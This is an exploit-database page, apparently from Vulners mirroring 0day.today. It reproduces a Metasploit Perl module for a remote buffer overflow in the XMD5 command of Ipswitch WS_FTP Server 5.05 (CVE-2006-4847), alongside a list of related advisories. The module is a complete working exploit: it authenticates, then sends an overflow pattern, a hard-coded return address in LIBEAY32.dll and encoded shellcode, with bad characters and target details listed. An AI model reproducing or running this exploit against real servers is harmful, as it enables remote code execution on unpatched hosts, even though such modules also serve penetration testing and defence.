Lucene search
K

IPSwitch WS-FTP 5.05 (XMD5) Remote Buffer Overflow Exploit (meta)

🗓️ 19 Feb 2007 00:00:00Reported by Jacopo CerviniType 
zdt
 zdt
🔗 0day.today👁 38 Views

IPSwitch WS-FTP 5.05 (XMD5) Remote Buffer Overflow Exploi

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2006-4847
30 Apr 201000:00
circl
Check Point Advisories
Ipswitch WS_FTP Server FTP Commands Buffer Overflow (CVE-2006-4847)
11 Oct 200900:00
checkpoint_advisories
CVE
CVE-2006-4847
19 Sep 200601:00
cve
Cvelist
CVE-2006-4847
19 Sep 200601:00
cvelist
Exploit DB
Ipswitch WS_FTP Server 5.05 - XMD5 Overflow (Metasploit)
30 Apr 201000:00
exploitdb
Exploit DB
Ipswitch WS_FTP Server 5.05 - XMD5 Remote Buffer Overflow (Metasploit)
19 Feb 200700:00
exploitdb
exploitpack
Ipswitch WS_FTP Server 5.05 - XMD5 Remote Buffer Overflow (Metasploit)
19 Feb 200700:00
exploitpack
Metasploit
Ipswitch WS_FTP Server 5.05 XMD5 Overflow
27 Sep 200603:18
metasploit
NVD
CVE-2006-4847
19 Sep 200601:07
nvd
Packet Storm
Ipswitch WS_FTP Server 5.05 XMD5 Overflow
26 Nov 200900:00
packetstorm
Rows per page
=================================================================
IPSwitch WS-FTP 5.05 (XMD5) Remote Buffer Overflow Exploit (meta)
=================================================================

##	
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::wsftp_server_505_xmd5;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };
my $info =
  {
	'Name'    => 'WS-FTP Server 5.05 XMD5 Overflow',
	'Version' => '$Revision: 1.0 $',
	'Authors' =>
	  [ 'Jacopo Cervini <acaro [at] jervus.it>',
		
	  ],

	'Arch'  => [ 'x86' ],
	'OS'    => [ 'win32', 'win2000', 'winxp', 'win2003' ],
	'Priv'  => 0,

	'AutoOpts'  => { 'EXITFUNC' => 'thread' },
	'UserOpts'  =>
	  {
		'RHOST' => [1, 'ADDR', 'The target address'],
		'RPORT' => [1, 'PORT', 'The target port', 21],
		'SSL'   => [0, 'BOOL', 'Use SSL'],
		'USER'  => [1, 'DATA', 'Username', 'ftp'],
		'PASS'  => [1, 'DATA', 'Password', 'ftp'],
	  },

	'Payload' =>
	  {
		'Space'  => 329,
		'BadChars'  => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",

		
		'Keys' 		=> ['+ws2ord'],
	  },

	'Description'  =>  Pex::Text::Freeform(qq{
        This module exploits the buffer overflow found in the XMD command
        in IPSWITCH WS_FTP Server 5.05.    
}),

	'Refs'  =>
	  [
		['BID', '20076'],
		[ 'CVE', '2006-4847' ],
	  ],

	'DefaultTarget' => 0,
	'Targets' =>
	  [
		['WS-FTP Server 5.05 Universal', 0x1002e636 ],	# push esp, ret in LIBEAY32.dll
	  ],

	'Keys' => ['wsftp'],

	'DisclosureDate' => 'Sep 14 2006',
  };

sub new {
	my $class = shift;
	my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
	return($self);
}


sub Exploit {
	my $self = shift;
	my $target_host = $self->GetVar('RHOST');
	my $target_port = $self->GetVar('RPORT');
	my $target_idx  = $self->GetVar('TARGET');
	my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
	my $target      = $self->Targets->[$target_idx];

	if (! $self->InitNops(128)) {
		$self->PrintLine("[*] Failed to initialize the NOP module.");
		return;
	}

	my $request = Pex::Text::PatternCreate(676);
    $request .= pack("V", $target->[1]);
    $request .= $shellcode;
    
    
    

	my $s = Msf::Socket::Tcp->new
	  (
		'PeerAddr'  => $target_host,
		'PeerPort'  => $target_port,
		'LocalPort' => $self->GetVar('CPORT'),
		'SSL'       => $self->GetVar('SSL'),
	  );

	if ($s->IsError) {
		$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
		return;
	}

	my $r = $s->RecvLineMulti(20);
	if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
	$self->Print($r);

	$s->Send("USER ".$self->GetVar('USER')."\n");
	$r = $s->RecvLineMulti(10);
	if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
	$self->Print($r);

	$s->Send("PASS ".$self->GetVar('PASS')."\n");
	$r = $s->RecvLineMulti(10);
	if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
	$self->Print($r);

	$self->PrintLine("[*] Attemping to exploit target '".$target->[0]."'...");

	$s->Send("XMD5 $request\n");
	$r = $s->RecvLineMulti(10);
	if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
	$self->Print($r);

	sleep(2);
	return;
}


#  0day.today [2018-01-04]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation